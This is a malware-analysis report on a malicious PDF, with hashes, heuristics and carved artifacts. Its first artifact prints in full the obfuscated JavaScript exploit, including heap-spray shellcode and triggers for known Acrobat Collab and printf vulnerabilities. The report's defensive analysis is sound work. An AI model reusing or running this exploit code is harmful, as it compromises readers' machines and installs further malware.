Malicious PDF — malware analysis report

Static analysis result for SHA-256 ad0357fd3952c83a…

MALICIOUS

PDF

27.4 KB Created: 2009-10-17 16:06:17 +04:00 Authoring application: pageDolor (via 670c26185a3783678135b4697f7dbd1a) First seen: 2026-05-07
MD5: 03d3255064342c1f607a932738be2e78 SHA-1: fcdf72ddf325abc15204325e9e86e39727254130 SHA-256: ad0357fd3952c83aef9397bf744e4fddd41a708e13d1e6417b42b5595e8a2353
82 Risk Score

Malware Insights

MITRE ATT&CK
T1059.001 PowerShell T1204.002 Malicious File

The PDF file was flagged as malicious by an ML classifier with high confidence. It contains embedded JavaScript, indicated by the PDF_JAVASCRIPT and PDF_JS heuristics. This JavaScript is likely responsible for downloading and executing a second-stage payload, as suggested by the presence of an embedded JavaScript object. The document body was unreadable, preventing further analysis of its specific lure.

Heuristics 2

  • Suspicious extracted artifact medium EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
  • Analysis timed out (partial result) info ANALYSIS_TIMEOUT_PARTIAL
    Analysis exceeded the wall-clock timeout. Heuristics emitted by completed phases are preserved; phases interrupted mid-execution may have missed findings.

Extracted artifacts 13

Files carved from inside the sample during analysis.

FilenameKindSourceSize
javascript_obj0018_000.js pdf-javascript-stream PDF /JS object 18 at offset 0x36AE 11994 bytes
SHA-256: 4c4e85eaabf3b203a6614a7d06e154010cc08d598e4a25cf0094beef21cefbd9
Preview script
First 1,000 lines of the extracted script
�� f u n c t i o n   q M c I g S k V 9 ( a w x O i F t T b , j 5 q p C x Q c ) { } t h i s . e 0 C V 7 y 8 7 = 0 . 8 9 ; f u n c t i o n   h K F Y M Z B V ( d 9 4 o o E k V b N , m o K P v s w 7 , o P N m N C V 6 ) { r e t u r n   m o K P v s w 7 ; } v a r   p G L h K J e 2 n   =   ' v a r   y z 1 y y W s r   =   n e w   A r r a y ( ) ; v a r   q l v C g E p 1 ; f u n c t i o n   q O Y k 2 X Z 8 N ( a O f B q S e k Q k ,   v i s N s s O 2 ) { w h i l e ( a O f B q S e k Q k . l e n g t h   *   2   <   v i s N s s O 2 ) { a O f B q S e k Q k   + =   a O f B q S e k Q k ; } a O f B q S e k Q k   =   a O f B q S e k Q k . s u b s t r i n g ( 0 ,   v i s N s s O 2   /   2 ) ; r e t u r n   a O f B q S e k Q k ; } f u n c t i o n   t H i Z 9 l r U Y u ( z u 2 W Q U Q L ) { i f ( z u 2 W Q U Q L   = =   0 ) { v a r   z V t K K X 0 1 h   =   0 x 0 c 0 c 0 c 0 c ; } e l s e   i f ( z u 2 W Q U Q L   = =   1 ) { z V t K K X 0 1 h   =   0 x 3 0 3 0 3 0 3 0 ; } v a r   h x W S u D X e   =   n e w   A r r a y ( \ " % u 5 3 5 0 % u 5 \ " , \ " 2 5 1 % u 5 7 5 \ " , \ " 6 % u 9 c 5 \ " , \ " 5 % u 0 0 e \ " , \ " 8 % u 0 0 0 0 \ " , \ " % u 5 d 0 0 \ " , \ " % u e d 8 3 \ " , \ " % u 3 1 0 d \ " , \ " % u 6 4 c 0 % u \ " , \ " 4 0 0 3 % u 7 8 3 \ " , \ " 0 % u 8 b 0 c \ " , \ " % u 0 c 4 0 % u 7 \ " , \ " 0 8 b % u a \ " , \ " d 1 c % u \ " , \ " 4 0 8 b % \ " , \ " u e b 0 8 \ " , \ " % u 8 b 0 9 \ " , \ " % u 3 4 4 0 \ " , \ " % u 4 0 8 d \ " , \ " % u 8 b 7 c % u \ " , \ " 3 c 4 0 % u 5 7 5 \ " , \ " 6 % u 5 e b e % \ " , \ " u 0 0 0 1 % u \ " , \ " 0 1 0 0 % u b f \ " , \ " e e % u 0 1 4 e % \ " , \ " u 0 0 0 0 % u e f 0 \ " , \ " 1 % u d 6 e 8 % \ " , \ " u 0 0 0 1 % u \ " , \ " 5 f 0 0 % u 8 9 5 e \ " , \ " % u 8 1 e a % u \ " , \ " 5 e c 2 % \ " , \ " u 0 0 0 1 % u \ " , \ " 5 2 0 0 % u 8 0 \ " , \ " 6 8 % u 0 0 0 \ " , \ " 0 % u f f 0 0 % u 4 \ " , \ " e 9 5 % u \ " , \ " 0 0 0 1 % u 8 \ " , \ " 9 0 0 % u 8 1 e a \ " , \ " % u 5 e c 2 % u \ " , \ " 0 0 0 1 % u 3 1 \ " , \ " 0 0 % u 0 1 f 6 \ " , \ " % u 8 a c 2 % u \ " , \ " 3 5 9 c % \ " , \ " u 0 2 6 3 % \ " , \ " u 0 0 0 0 % u f b 8 \ " , \ " 0 % u 7 4 0 0 % u 8 \ " , \ " 8 0 6 % u 3 2 1 c % \ " , \ " u e b 4 6 % u \ " , \ " c 6 e e % u 3 2 \ " , \ " 0 4 % u 8 9 0 0 % u \ " , \ " 8 1 e a % u 4 5 c 2 \ " , \ " % u 0 0 0 2 % u 5 \ " , \ " 2 0 0 % u 9 \ " , \ " 5 f f % u 0 1 5 2 \ " , \ " % u 0 0 0 0 % u e \ " , \ " a 8 9 % u \ " , \ " c 2 8 1 % u \ " , \ " 0 2 5 0 % u 0 \ " , \ " 0 0 0 % u \ " , \ " 5 0 5 2 % \ " , \ " u 9 5 f f \ " , \ " % u 0 1 5 \ " , \ " 6 % u 0 0 0 0 % u \ " , \ " 0 0 6 a % \ " , \ " u 0 0 6 a % \ " , \ " u e a 8 9 % u c 2 \ " , \ " 8 1 % u 0 1 5 \ " , \ " e % u 0 0 0 0 \ " , \ " % u 8 9 5 2 % \ " , \ " u 8 1 e a % u 7 8 \ " , \ " c 2 % u 0 0 0 2 % \ " , \ " u 5 2 0 0 % \ " , \ " u 0 0 6 a % u d \ " , \ " 0 f f % u 0 5 6 a \ " , \ " % u e a 8 9 % u c \ " , \ " 2 8 1 % u \ " , \ " 0 1 5 e % u 0 0 \ " , \ " 0 0 % u f f \ " , \ " 5 2 % u 5 a 9 5 \ " , \ " % u 0 0 0 1 \ " , \ " % u 8 9 0 0 % u 8 \ " , \ " 1 e a % u 5 e c 2 % \ " , \ " u 0 0 0 1 % u \ " , \ " 5 2 0 0 % \ " , \ " u 8 0 6 8 % u 0 \ " , \ " 0 0 0 % u f f \ " , \ " 0 0 % u 4 e 9 5 % u \ " , \ " 0 0 0 1 % u 8 9 0 0 \ " , \ " % u 8 1 e a % u \ " , \ " 5 e c 2 % u \ " , \ " 0 0 0 1 % u 3 1 \ " , \ " 0 0 % u 0 1 \ " , \ " f 6 % u 8 a \ " , \ " c 2 % u 3 \ " , \ " 5 9 c % u 0 2 \ " , \ " 6 e % u 0 \ " , \ " 0 0 0 % u f b 8 0 % \ " , \ " u 7 4 0 0 % u \ " , \ " 8 8 0 6 % u 3 2 1 c \ " , \ " % u e b 4 \ " , \ " 6 % u c 6 \ " , \ " e e % u 3 2 0 4 % u \ " , \ " 8 9 0 0 % u 8 1 e a \ " , \ " % u 4 5 c 2 \ " , \ " % u 0 0 0 2 \ " , \ " % u 5 2 0 0 \ " , \ " % u 9 5 f \ " , \ " f % u 0 1 5 2 \ " , \ " % u 0 0 0 \ " , \ " 0 % u e a 8 9 % u \ " , \ " c 2 8 1 % \ " , \ " u 0 2 5 0 % u \ " , \ " 0 0 0 0 % u 5 0 5 \ " , \ " 2 % u 9 5 f f \ " , \ " % u 0 1 5 6 % u 0 0 \ " , \ " 0 0 % u 0 0 6 a % u \ " , \ " 0 0 6 a % u e a 8 9 \ " , \ " % u c 2 8 1 % \ " , \ " u 0 1 5 e % u 0 0 0 \ " , \ " 0 % u 8 9 5 \ " , \ " 2 % u 8 1 e a % u \ " , \ " a 6 c 2 % u 0 0 \ " , \ " 0 2 % u 5 \ " , \ " 2 0 0 % u 0 0 6 \ " , \ " a % u d 0 f \ " , \ " f % u 0 5 6 a \ " , \ " % u e a 8 9 % u c 2 \ " , \ " 8 1 % u 0 1 5 \ " , \ " e % u 0 0 0 \ " , \ " 0 % u f f 5 2 % \ " , \ " u 5 a 9 5 % \ " , \ " u 0 0 0 1 \ " , \ " % u 9 d 0 0 % u 5 \ " , \ " f 5 d % u 5 a 5 \ " , \ " e % u 5 b 5 9 % u \ " , \ " c 3 5 8 % u 0 0 0 \ " , \ " 0 % u 0 0 0 0 % u 0 \ " , \ " 0 0 0 % u 0 \ " , \ " 0 0 0 % u 0 0 \ " , \ " 0 0 % u 0 0 0 0 % u \ " , \ " 0 0 0 0 % u 0 \ " , \ " 0 0 0 % u 6 5 4 7 \ " , \ " % u 5 4 7 4 % u \ " , \ " 6 d 6 5 % u 5 0 7 0 \ " , \ " % u 7 4 6 1 % u \ " , \ " 4 1 6 8 % \ " , \ " u 4 c 0 0 \ " , \ " % u 6 1 6 f \ " , \ " % u 4 c 6 4 % u 6 2 \ " , \ " 6 9 % u 6 1 7 2 \ " , \ " % u 7 9 7 2 % u 0 \ " , \ " 0 4 1 % u 6 5 4 7 \ " , \ " % u 5 0 7 4 % u 6 f \ " , \ " 7 2 % u 4 \ " , \ " 1 6 3 % u 6 \ " , \ " 4 6 4 % u 6 5 \ " , \ " 7 2 % u 7 \ " , \ " 3 7 3 % u \ " , \ " 5 7 0 0 % u \ " , \ " 6 e 6 9 % \ " , \ " u 7 8 4 5 % u 6 \ " , \ " 3 6 5 % u \ " , \ " b b 0 0 % u f \ " , \ " 2 8 9 % u f 7 \ " , \ " 8 9 % u c 0 3 \ " , \ " 0 % u 7 5 a e % \ " , \ " u 2 9 f d % u 8 \ " , \ " 9 f 7 % u 3 1 \ " , \ " f 9 % u b e c \ " , \ " 0 % u 0 0 3 c \ " , \ " % u 0 0 0 0 % u \ " , \ " b 5 0 3 % u 0 2 1 b \ " , \ " % u 0 0 0 0 % u a \ " , \ " d 6 6 % u \ " , \ " 8 5 0 3 % u 0 2 1 \ " , \ " b % u 0 0 0 0 % u \ " , \ " 7 0 8 b % u \ " , \ " 8 3 7 8 % u \ " , \ " 1 c c 6 % u \ " , \ " b 5 0 3 % u 0 2 1 \ " , \ " b % u 0 0 0 0 % u b \ " , \ " d 8 d % u 0 2 \ " , \ " 1 f % u 0 0 0 \ " , \ " 0 % u 0 3 a d % u \ " , \ " 1 b 8 5 % u 0 0 0 2 \ " , \ " % u a b 0 \ " , \ " 0 % u 0 3 a d \ " , \ " % u 1 b 8 5 % u \ " , \ " 0 0 0 2 % u 5 0 0 \ " , \ " 0 % u a d \ " , \ " a b % u 8 5 0 \ " , \ " 3 % u 0 2 \ " , \ " 1 b % u 0 0 0 0 % \ " , \ " u 5 e a b % u d b 3 \ " , \ " 1 % u 5 6 a d % \ " , \ " u 8 5 0 3 % \ " , \ " u 0 2 1 b % u 0 0 \ " , \ " 0 0 % u c 6 8 9 % u \ " , \ " d 7 8 9 % u \ " , \ " f c 5 1 % u a 6 f \ " , \ " 3 % u 7 4 5 9 % u 5 \ " , \ " e 0 4 % u \ " , \ " e b 4 3 % u 5 e \ " , \ " e 9 % u d 1 \ " , \ " 9 3 % u 0 3 e 0 % u \ " , \ " 2 7 8 5 % u 0 0 0 \ " , \ " 2 % u 3 1 0 0 % u 9 \ " , \ " 6 f 6 % u \ " , \ " a d 6 6 % u e 0 c 1 \ " , \ " % u 0 3 0 2 % u 1 \ " , \ " f 8 5 % u 0 \ " , \ " 0 0 2 % u 8 9 0 0 \ " , \ " % u a d c 6 % u 8 \ " , \ " 5 0 3 % u 0 2 \ " , \ " 1 b % u 0 \ " , \ " 0 0 0 % u \ " , \ " e b c 3 % u 0 0 1 \ " , \ " 0 % u 0 0 0 0 % \ " , \ " u 0 0 0 0 % u \ " , \ " 0 0 0 0 % \ " , \ " u 0 0 0 0 % \ " , \ " u 0 0 0 0 % u \ " , \ " 0 0 0 0 % u 0 0 \ " , \ " 0 0 % u 8 9 0 0 \ " , \ " % u 1 b 8 5 % u 0 0 \ " , \ " 0 2 % u 5 \ " , \ " 6 0 0 % u e 8 5 \ " , \ " 7 % u f f 5 \ " , \ " 8 % u f f \ " , \ " f f % u 5 e 5 f % \ " , \ " u 0 1 a b % u 8 0 c \ " , \ " e % u b b 3 \ " , \ " e % u 0 2 7 \ " , \ " 4 % u e d e \ " , \ " b % u 5 5 c 3 % \ " , \ " u 4 c 5 2 \ " , \ " % u 4 f 4 d % u 2 e \ " , \ " 4 e % u 4 c 4 4 % u \ " , \ " 0 0 4 c % \ " , \ " u 5 2 5 5 % u 4 4 \ " , \ " 4 c % u 7 7 6 \ " , \ " f % u 6 c 6 e % u \ " , \ " 6 1 6 f % u \ " , \ " 5 4 6 4 % \ " , \ " u 4 6 6 f % u 6 \ " , \ " c 6 9 % u 4 1 6 5 % \ " , \ " u 7 5 0 0 % u 6 \ " , \ " 4 7 0 % u 7 4 6 1 % \ " , \ " u 2 e 6 5 % u \ " , \ " 7 8 6 5 % u \ " , \ " 0 0 6 5 % u \ " , \ " 7 2 6 3 % \ " , \ " u 7 3 6 1 % u 2 e \ " , \ " 6 8 % u 6 8 \ " , \ " 7 0 % u 0 0 7 \ " , \ " 0 % u 7 4 6 8 \ " , \ " % u 7 0 7 4 % u 2 \ " , \ " f 3 a % u 7 3 2 \ " , \ " f % u 6 f 6 5 \ " , \ " % u 7 4 2 d % u 6 \ " , \ " 1 7 2 % u 6 \ " , \ " 6 6 6 % u 6 3 2 e % \ " , \ " u 6 d 6 f % u \ " , \ " 6 3 2 f % u \ " , \ " 7 5 6 f % u 7 \ " , \ " 4 6 e % u 7 2 6 \ " , \ " 5 % u 2 f 7 3 \ " , \ " % u 2 f 3 \ " , \ " 1 % u 7 0 7 5 % u \ " , \ " 6 1 6 4 % u 6 \ " , \ " 5 7 4 % u 7 0 2 e % \ " , \ " u 7 0 6 8 % u 6 9 \ " , \ " 3 f % u 3 d 6 4 % \ " , \ " u 2 6 3 3 % u 6 5 7 \ " , \ " 2 % u 3 d 7 4 % u 6 \ " , \ " b 6 f % u 9 0 0 0 \ " ) ; h x W S u D X e   =   u n e s c a p e ( h x W S u D X e . j o i n ( \ " \ " ) ) ; v a r   a M k K K V 3 a x   =   0 x 4 0 0 0 0 0 ; v a r   x 3 C g E 4 V T Y 7   =   h x W S u D X e . l e n g t h   *   2 ; v a r   v i s N s s O 2   =   a M k K K V 3 a x   -   ( x 3 C g E 4 V T Y 7   +   0 x 3 8 ) ; v a r   a O f B q S e k Q k   =   u n e s c a p e ( \ " % u 9 0 9 0 % u 9 0 9 0 \ " ) ; a O f B q S e k Q k   =   q O Y k 2 X Z 8 N ( a O f B q S e k Q k ,   v i s N s s O 2 ) ; v a r   e E j t Q K F I n c   =   ( z V t K K X 0 1 h   -   0 x 4 0 0 0 0 0 )   /   a M k K K V 3 a x ; f o r ( v a r   u n x G Y d E 5 n   =   0 ;   u n x G Y d E 5 n   <   e E j t Q K F I n c ;   u n x G Y d E 5 n + + ) { y z 1 y y W s r [ u n x G Y d E 5 n ]   =   a O f B q S e k Q k   +   h x W S u D X e ; } } f u n c t i o n   f D U r U 7 X B ( ) { v a r   n G A 9 T 4 u G   =   0 ; v a r   e Y o E H r i R   =   a p p . v i e w e r V e r s i o n . t o S t r i n g ( ) ; a p p . c l e a r T i m e O u t ( q l v C g E p 1 ) ; i f ( ( e Y o E H r i R   > =   8   & &   e Y o E H r i R   <   8 . 1 0 2 )   | |   e Y o E H r i R   <   7 . 1 ) { t H i Z 9 l r U Y u ( 0 ) ; v a r   x M x b D F 9 N Z b   =   u n e s c a p e ( \ " % u 0 c 0 c % u 0 c 0 c \ " ) ; w h i l e ( x M x b D F 9 N Z b . l e n g t h   <   4 4 9 5 2 )   x M x b D F 9 N Z b   + =   x M x b D F 9 N Z b ; v a r   f j V S K l D U q   =   t h i s ; v a r   e z q e K H 4 t H   =   C o l l a b ; f j V S K l D U q [ \ " c o l l a b S t o r e \ " ]   =   e z q e K H 4 t H [ \ " c o l l e c t E m a i l I n f o \ " ] ( { s u b j   :   \ " \ " ,   m s g   :   x M x b D F 9 N Z b } ) ; } i f ( ( e Y o E H r i R   > =   8 . 1 0 2   & &   e Y o E H r i R   <   8 . 1 0 4 )   | |   ( e Y o E H r i R   > =   9   & &   e Y o E H r i R   <   9 . 1 )   | |   e Y o E H r i R   < =   7 . 1 0 1 ) { t r y { i f ( a p p . d o c . C o l l a b . g e t I c o n ) { t H i Z 9 l r U Y u ( 2 ) ; v a r   g H G L G b x H I   =   u n e s c a p e ( \ " % 0 9 \ " ) ; w h i l e ( g H G L G b x H I . l e n g t h   <   0 x 4 0 0 0 ) { g H G L G b x H I   + =   g H G L G b x H I ; } g H G L G b x H I   =   \ " N . \ "   +   g H G L G b x H I ; v a r   p g h f k 2 7 w P m   =   a p p ; p g h f k 2 7 w P m [ \ " d o c \ " ] [ \ " C o l l a b \ " ] [ \ " g e t I c o n \ " ] ( g H G L G b x H I ) ; n G A 9 T 4 u G   =   1 ; } e l s e { n G A 9 T 4 u G   =   1 ; } } c a t c h ( e ) { n G A 9 T 4 u G   =   1 ; } i f ( n G A 9 T 4 u G   = =   1 ) { i f ( e Y o E H r i R   = =   8 . 1 0 2   | |   e Y o E H r i R   = =   7 . 1 ) { t H i Z 9 l r U Y u ( 1 ) ; v a r   v T 4 Q 8 0 J U p I   =   \ " 1 2 9 9 9 9 9 9 9 9 9 9 9 9 9 9 9 9 9 9 \ " ; f o r ( c w p q F u d Q L u   =   0 ;   c w p q F u d Q L u   <   2 7 6 ;   c w p q F u d Q L u + + ) { v T 4 Q 8 0 J U p I   + =   \ " 8 \ " ; } v a r   x i N i J Y K g 1   =   u t i l ; x i N i J Y K g 1 [ \ " p r i n t f \ " ] ( \ " % 4 5 0 0 0 f \ " ,   v T 4 Q 8 0 J U p I ) ; } } } } a p p . c b V T C z H 8 X   =   f D U r U 7 X B ; q l v C g E p 1   =   a p p . s e t T i m e O u t ( \ " a p p . c b V T C z H 8 X ( ) \ " ,   1 0 ) ; ' ; f u n c t i o n   e 8 l v C g E p 1 ( w j c C R L w W Y J ) { r e t u r n   f a l s e ; } t h i s . w X W p 7 z w 2 B S = " f Z c C 4 V c d n " ; f u n c t i o n   q F D h Y W 7 d 0 ( i M J 0 P n L 4 I , v N Y m W 0 F Q o ) { r e t u r n   v N Y m W 0 F Q o ; } v a r   k S t 9 A 6 Z 6 y r   =   p G L h K J e 2 n . r e p l a c e ( / [ ] / g ,   ' ' ) ; j B j L 5 z i l Q x = 8 0 9 8 ; v a r   t w F K K p k v = n e w   A r r a y ( ' k w q q g 4 s d ' , ' j K Z l 1 k 6 o C ' , ' u a q m S I y P F h ' ) ; f u n c t i o n   n Y 2 2 M p N w k ( e W W y S b V F 8 , k B O 9 I n 1 3 r , k V a o x P y T A Z ) { r e t u r n   k V a o x P y T A Z ; } v a r   m 5 B h B l F W e   =   ' e ' + ' v ' + ' a ' + ' l ' ; a p p [ m 5 B h B l F W e ] ( k S t 9 A 6 Z 6 y r ) ; t h i s . f c o H o k T h 8 = 2 7 1 7 3 ; f u n c t i o n   f a E M z s 3 H x ( ) { } f u n c t i o n   e 9 x b 5 G 4 y j d ( y J f o 5 L u d G j , r B E c k M H j Q ) { r e t u r n   y J f o 5 L u d G j ; }
stream_004_off000036ae.js decompressed-pdf-stream PDF FlateDecoded stream at offset 0x36AE 5996 bytes
SHA-256: 91628404e5039db296094d18a0075d3e4eb7462c27d7b57c52e58ce2c344cc13
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 4 eval/decoder/string-building token(s). 46 of 75 identifiers look randomly generated (e.g. 'xMxbDF9NZb') — consistent with name-mangling obfuscation.
generic_stage_recovery_000.js deobfuscated-js generic stage recovery null-collapse from raw PDF metadata at offset 0x0 21687 bytes
SHA-256: b0b468eb1df99e505450f04de5eca60ad805f0e9a7b599ff9ab957763dc4cff0
Detection
ClamAV: Pdf.Exploit.CVE_2009_0927-1
Obfuscation or payload: unlikely
Preview script
First 1,000 lines of the extracted script
%PDF-1.7
3 0 obj
<</Type /Page
/Parent 1 0 R
/MediaBox [0 0 595.28 841.89]
/Resources 2 0 R
/Contents 4 0 R>>
endobj
4 0 obj
<</Filter /FlateDecode /Length 2739>>
stream
x�͛M�۸ ���+�j/�!4E�3�8�l�U�d�Nm%[{I�� $89 ��� 53Ќ$J /��%��/� ���n�a0[ІB���-�� ���� ����gz��� A ������n����k4��A��WB�̓���Q0�� � �(��݇	}��ݷcZ�o��#��  
_<��3��"������>g��  .��/��Wj�����G���5_��K�9��'a��vה�.�mx� 3{� ��67� �7� �����/����_ g���q�� "� Ŵ�/�Ɋ*��b���K�D7?�1�pj _y�� g � �3�}N%�3���MM�N��t�0%��g�2-�5U�ՊjMZ�6x=���ئ�` ����;�Y�1�<'�dFwڐfykH2���]� �_��=^�kC�Z�tW5ԖJװ� ���>t UB�%坦� N1� �_��Z4�14�xޖ^͛ �G��ﰆ7�r^��R^��P]�T�{ ��R�  ��\�XWt���b5mJ���y��`�8  YA��lp��s���^ËR�
>V6jt�1�5���� �D#� ��F  �{�0?� j��� �[3]1j�R9�՘* z^
�����  � � ڐi B.eZ���KVqj 𙪧Da ��,���L҆��!�_J� ���Ji� � �Hv�X %��䬡�����n2}^>���'v�1 ���&� ���-�pIR0��\a"Z���HL�Wχ�����
�0��k��{���̧v����(餴!"��Y� �Ɉ ��ۡO%[�Ђ�P��AT�Z�ʮ�{L_W� ��$�z�(��
�h�|�x^.,cB�0�aM� r$괄r&�3��v q�eVw �6v�L��� �R��5� $��cn��6�*�2�)�6H�� ��+�� �Ӳ���]�^Ug�p��I�6*��:!9 \z�5� "`����V[�� y  � X���-U]��� �b$ ��� ��2X�+~
s��ᾧVRf =EXR����-�� �z�_ ��o8��G!3�����'L���ej� Ljƪ �% �F,{��<O *��i�ܱ�$��:�Wy�Ϝ��2 � � <     >@�5��
�_.-^�[*z�@:뽎n��D&�i��-�:#�JI=�Se]  A�p$S��� K  z��O�b'� )�I;
e+d׾H ^w4E`	� ��;) ���:S���g��%�]"2 L̙�넮 � i�����S9�42f���8u>�v��ͼ}Bm �R   �،����-�|  : �2x�eHhn9�����	6 � a= P��4�N� ٞ~�  )�*n� ��j \!�)ʖ2n�XN�d�^[�?�x� ������D�Bp�T�4 5 +�H�} c�t�z����R���m�(�>� �Uj ꩝  �k���"�  h�l-xI���Q6��w  �%�J֙W��O�� ��v
cc���!Ϝ�_��K��� �s+����Ӻ���@�� ��k%o   Q)�Nd �V�`  l{C{���D͐���w�ս��z��>M�   �;V�^L� �= ǫ}�)#X�6���&�5 �E  � n h�K,�V!E�>T�f 2  �j��!�e��[ˆ �@�����Sa�[5be+�8 �o/7��zl :ʠnVr ��k� �n;m�,Tp�p�x�� �r�x�]�&�uÃ���� �� = 'a6'i�%ʹz�d� �+2(v��8�m#�b<]:� � ��������\�-%=��5d e��|Z7w��
��ȹ��� {��,:Q���� �s� h ���x:CV� �ӵ��b|'��[�#i���G��#��n��{���i�I��� �*Iz��  �'�pZ*Q @� t�U��*u���i\����=�7� kK�b��E{]" |�K`�xY˾$��K��/�_���G��s���	�)A�å >m� ����AQ��8'�X:,C�`7���K%��8ji۰��l��8b9d#��5��
���)���I� <�� �J`� o�_H5`���L��#
 ��a~�<T 1�0 ýO� N�w
��u�a���yì)�0�{ ݆� ��n8�|�6w���f�؆s� t�
�
�[  H����A � v_qd �� d� �u �7w �i��I�7�t��{ ��	�w��`�m�%��ky4�h��c.�)�j� �{;�#m �^�; ���U��ߪ  G���E�
�� �T�a!���� G  ���Y��B���Xs�� e
�� � �l��]ښ��M�x��� ?��c���P-��<��Sf� �� ('p�Ӿ���ܧ]!n;�6s�l} �t ��m��(�Ѻh��q|� ��=��vX�ժ> �^ ��R����������&ߓ�y ��!�̩�  \�ik֧usG�� W#��K����A4^gg�qy�|Y� ^8C"��9 =��t��� _�!I��~�놤O㦎AC�s��4%
�5� y����
�� ~L3�Eуh ���m�(v ��z�����B�� ��)��<� ��  3�:��������n�NV��xw  ]F�g�Ug����b��-��_v�����dk��	�xo/�� �4}�ļ�����G�}ڶp�> `�p  A�d��m �C��p� �QrQ?P�0�d��(� ̜f�  }�6wz�W ֘��u0#d�M >u� ��?��+�Ӷ�^?�č7������%۰>m��oA ��0��|}��T��|y�ԧm�cܵ�o��LO�~ ��V��� ���� ��E�q�� ����*� ǫ��
��q�L�+��תנ:v ��S�X��H�!1G�tT �h7v�kWE] ��[f|� � m: c�5\;A4�֭ � l���ҡ�X����e���k�/}�t�4�� ��qc0t,����w��� ��7 �� i���
 *'�{V] [���� $ 
endstream
endobj
5 0 obj
<</Type /Page
/Parent 1 0 R
/MediaBox [0 0 595.28 841.89]
/Resources 2 0 R
/Contents 6 0 R>>
endobj
6 0 obj
<</Filter /FlateDecode /Length 2639>>
stream
x��[�r� }�Wtվ$ ш�=o�\�f�6��8��l� H�$$�� R  } (۠d�����z��X��nt�9} �p0�ц�� �K��W�H��=������� !� �!ݧ������s��s  ��h�� i2 L 4   �o  �!� }� �� �� ������^  h��   uF��`: �c��xrB�	��K���� �Z��W���� ����� � ��,�_S�2������t.9 �'��� 𽼳 �WO�^ �O�?������'��io"�7 �l:   *h2 �Ex�]� ��񂓯C����.�S�'���)2? ��
e,��"&W�����9- �#�(�% �  �d5��IS2J&��
�4e1')�Ȑ� ����~M�Nj�b���߂�;b[�
�lcTIF��GNL�1�R)ʌ�[�v�3�� ��I�Q�  �qM �+Z��6Ģ�&�J����Ǖ�hchän쏌�0ȫ{� x
K����J�^Wt  �O+z���2lK��	�&kLM+����\sʶ �l
pY�Tᔪ�� � kSI��53xl� � V�čF e K� ���k#
	�<6� "X5Ƨ ��%� �6 7��  e��w  �J�
U��q�%�u�Xwk )��Z� �(Y��~����h��� �  rI
 CYn�xe �s�T�ӽ`�R 
�(�FְD��d [P  i�l��N  �'C�.��K�-C
�
�� ��� p��05�x��K� a ò��*�r
k
V� )V� ��!\ AJ�2��~��jG  N� 6+ i�k  ߲��L#� ����$Kv���TeW�	��b	���t1{)�8g)��
Шj�Į�� ���0bٔ b�� �xX�79Śm$��I�L��ks$ �"�k��* ��6>�4�;��"JC�R��)�  ��H�� ��Ռ��}�_
��B�J7 �9*9V��),� �� &�v�S �ȚO� Ւ �Q�ͅ�O�_� ��s�W+� ߟ  e� �B�ϲ��+��zDL��iͤ�]Y [�F�8^V(��%������e� \� h4b	� � u%� ���h��i��0 �g �S˳ ���|z7v0~�a��@�>��-X(��5`Fg�k0F �{�s�t�.��1�F"���К�F� �"V� d*ԿW�B��-{S�4`�?  �'h  :�[x�4x*e��A^��Χo���=��x���+��Fd6^����
E�lD��N��� ��C�>"��b�N- ��Z� �k z	 k4�$�F� � +���Rjʹ( �"�=�6Y8���k o( :���y �O�4mkZLm�\�V)�q� �d� �:  ��Z� � ke�T2
" ҕ�qZ� ���sD���Q%$�� 4mS�%�`�za�)kv� ��p��ƆՀ$���g ;�:�Ox)��� �^&W�"v2��[�^�؎�}Mj>� ;�n���R� �P���І�;����3������Kˀ cg��3=<in:���  :�|Kg@��
F��I�
bb�*w>]  :G�N r��m� � �lw�fP�+�/͟ ]��(-"��
;��T%���J �Ŵ�����bL
 ��&�@�m�]�k��� ����vע� '¬��C��}�6w(�i J�� ��%�ׅ�����հ0
��5��)  �5��ԙ2y;��O0�Oצ ��� ^ w��� �� ���qE-�� w��ս��� $7,^Q �ci*��I7ޙ��O� >A��2��/q�� �{�� ^�� ���Xy���Q  _s}r�� @ǝ[�� [^>3�n���ȡ�^�SS��ʪ A5�Zª����� � ����Q�8|�(�*h�آ�W� ��{�� �
2V�� &WQԦN�����  �  ������ 4:,� ��kY ޠ� ��#�:�{<����hᨡ  �Ո ;��yHa �'�����T
��5W <��ٴdk�ӵ�c Q� j "����O	|dB�$�an�t��B�N�?4HG�d�Wl��n�x��\}�np�,  C =�:�8 RS��J�$�y+:@v�f��ް������w�G G"o�X_/<O̍}�6>f��E�W�F �qQΞ��sz ����%��ӵ��ș���q5� #�(�"4 �� o� ͘f1 ͍�J��B��k���� [s{$�� 	�Rzݐ  �A�#�wq!�f)��
;���\x�-�� � 珅��� �u *�{ ��Փ��ӹ�#��G��o�+~��X����'�|�7s�p|�$ک �+�h�w���'�>]�:^�f �<�}%�LS�Ʋn����P>�� ̯NI@�=�- �s�6�F�Pv�i���� -&�3. � �F� y  �N�O:�������҉�U{ �4�g��� t.�3�Y	Ti��2� ��|8r�� ��A�풖k
�O	�< ����� ����v* �ڳ�_��Ν!j�ߧs�� g��y�����ޠO׆��:�q-B�Xp�Қ�-@ǚ �4/~/ �`�9�� Ix��`־�� *�T�ӿ�c�kv ��
 ��Eo׊^m�9�8������z����7� &��^M�tD�7�
�����  �({g����=g�-���n�i�o8 lo������Hә����Z� � 6m �VxN��!��g���˭4C  �	ŧ����B'   �X#�w�' �k )�4 W�u��"|P$A����#7}�6 ;� (j;[��ѷ�'�<��茐.O��F�q��=:7w\��� ��#H���w�7 #L]k�� �����P����O���t8XL�;� \1�BH h�����q�� ���
endstream
endobj
7 0 obj
<</Type /Page
/Parent 1 0 R
/MediaBox [0 0 595.28 841.89]
/Resources 2 0 R
/Contents 8 0 R>>
endobj
8 0 obj
<</Filter /FlateDecode /Length 2772>>
stream
x�͛Ys� ���)�j_��h(Qg�29�f����Lj+�� ��H� h �, ����
]�)�b���=�%�/��� F�ق6 �w���� �� _��+����>�mB�Q ї5��������k4 ǣx��D4���+�NF3|n1 E Jk��iL �����1-���� �Q��F �MN��x� M����� }����%�қ? �Q����З�p��{ H�k�9���h����Y�&�W'��D�w�h���� 7���
߀�ݜ^��o��} N��3r��  ��Ĵ�/G� �4��l���+�L7?���kO_y����?[��O����� M#[P�
J��T$*�J2���j� �g�t�h�+I��Z�JC]%�nD +ai1� �ڸ�2����6��U
]e��5 � ѧ�-��8 ~Kݦ��*�閉FP*Z9
